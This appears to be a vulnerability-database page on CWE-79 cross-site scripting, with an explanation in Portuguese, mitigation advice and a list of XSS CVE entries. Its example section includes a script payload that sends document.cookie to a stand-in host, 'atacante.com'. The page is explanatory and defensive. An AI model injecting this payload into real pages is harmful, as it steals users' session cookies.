Fallos del tipo CWE-79

30.317 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64758MEDIUM@dependencytrack/frontend Vulnerable to Persistent Cross-Site-Scripting via Welcome MessageEPSS 0.2%CVE-2025-12045MEDIUMOrbit Fox Companion <= 3.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Post TaxonomyEPSS 0.2%CVE-2026-48849MEDIUMIn Roundcube Webmail 1.6.x before 1.6.16 and 1.7.x before 1.7.1, an unsanitized subject field in the draft restored value could lead to storEPSS 0.2%CVE-2026-120248MEDIUMThelia before 3.1.1 Stored XSS via SVG Store Logo and Banner UploadsEPSS 0.2%CVE-2023-42249MEDIUMSelesta Visual Access Manager < 4.42.2 is vulnerable to Cross Site Scripting (XSS) via vam/vam_visits.php.EPSS 0.2%CVE-2024-41174HIGHBeckhoff: Improper input neutralization vulnerability in the IPC-Diagnostics package in TwinCAT/BSDEPSS 0.2%CVE-2024-57272MEDIUMSecuSTATION Camera V2.5.5.3116-S50-SMA-B20160811A and lower is vulnerable to Cross Site Scripting (XSS).EPSS 0.2%CVE-2021-47910MEDIUMWordPress Plugin AccessPress Social Icons 1.8.2 Stored XSSEPSS 0.2%CVE-2025-57974MEDIUMWordPress TZ PlusGallery Plugin <= 1.5.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-1420LOWXSS in Proget MDMEPSS 0.2%CVE-2026-34229MEDIUMEmlog: Stored XSS in Comment Module via URI Scheme Validation BypassEPSS 0.2%CVE-2025-15173MEDIUMSohuTV CacheCloud InstanceController.java advancedAnalysis cross site scriptingEPSS 0.2%CVE-2024-56175MEDIUMIn Optimizely Configured Commerce before 5.2.2408, malicious payloads can be stored and subsequently executed in users' browsers under speciEPSS 0.2%CVE-2024-37962MEDIUMWordPress Fusion Page Builder plugin <= 1.6.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2023-42233MEDIUMPat Infinite Solutions HelpdeskAdvanced <= 11.0.33 is vulnerable to Cross Site Scripting (XSS) via the Filter/FilterEditor function.EPSS 0.2%CVE-2025-63443MEDIUMSchool Management System PHP v1.0 is vulnerable to Cross Site Scripting (XSS) in /login.php via the password parameter.EPSS 0.2%CVE-2026-34127MEDIUMStored Cross-Site Scripting (XSS) via Configuration File Import on TP-Link's TL-SG108PEEPSS 0.2%CVE-2025-10701MEDIUMTime Clock – A WordPress Employee & Volunteer Time Clock Plugin <= 1.3.1 - Authenticated (Custom+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-2098MEDIUMFlowring|AgentFlow - Reflected Cross-site ScriptingEPSS 0.2%CVE-2024-13402MEDIUMBuddyBoss Platform <= 2.7.70 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'link_title'EPSS 0.2%